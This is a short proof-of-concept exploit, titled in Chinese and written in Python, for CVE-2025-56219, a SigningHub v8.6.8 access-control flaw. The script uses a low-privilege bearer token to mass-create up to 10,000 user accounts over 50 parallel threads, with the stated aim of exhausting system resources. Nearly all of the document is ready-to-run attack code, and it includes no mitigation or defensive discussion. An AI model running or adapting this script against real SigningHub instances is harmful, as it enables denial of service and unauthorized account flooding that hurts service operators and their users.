CVE-2025-56219：SigningHub访问控制缺陷导致拒绝服务漏洞

# CVE-2025-56219 PoC - SigningHub Arbitrary User Account Creation leading to DoS # Vulnerability: Incorrect access control allowing unlimited user account creation # Affected: SigningHub v8.6.8 # CVSS: 7.1 (HIGH) import requests import json import time import threading from concurrent.futures import ThreadPoolExecutor TARGET_URL = "https://target-signinghub.example.com" AUTH_TOKEN = "your_auth_token_here" # Low-privilege authenticated session token USERNAME_PREFIX = "dos_user_" PASSWORD = "P@ssw0rd123!" EMAIL_DOMAIN = "attacker.example.com" def create_user(session, index): """ Send a single user creation request to the SigningHub API. Due to lack of rate limiting, this can be called repeatedly without restriction. """ url = f"{TARGET_URL}/api/v1/users" headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } payload = { "username": f"{USERNAME_PREFIX}{index}", "password": PASSWORD, "email": f"{USERNAME_PREFIX}{index}@{EMAIL_DOMAIN}", "firstName": "DoS", "lastName": f"User{index}", "role": "user" } try: response = session.post(url, headers=headers, json=payload, timeout=30) if response.status_code in [200, 201]: print(f"[+] Created user: {payload['username']}") return True else: print(f"[-] Failed at index {index}: {response.status_code}") return False except Exception as e: print(f"[!] Error at index {index}: {e}") return False def exploit_dos(threads=50, batch_size=10000): """ Launch parallel user creation requests to exhaust system resources. """ session = requests.Session() total_created = 0 print(f"[*] Starting DoS attack on {TARGET_URL}") print(f"[*] Threads: {threads}, Target accounts: {batch_size}") with ThreadPoolExecutor(max_workers=threads) as executor: for batch_start in range(0, batch_size, threads): futures = [] for i in range(batch_start, min(batch_start + threads, batch_size)): futures.append(executor.submit(create_user, session, i)) for future in futures: if future.result(): total_created += 1 print(f"[*] Progress: {total_created} users created") # Optional: small delay to avoid immediate connection drops time.sleep(0.1) print(f"[+] Attack complete. Total users created: {total_created}") print("[+] System resources likely exhausted - DoS achieved") if __name__ == "__main__": exploit_dos(threads=50, batch_size=10000)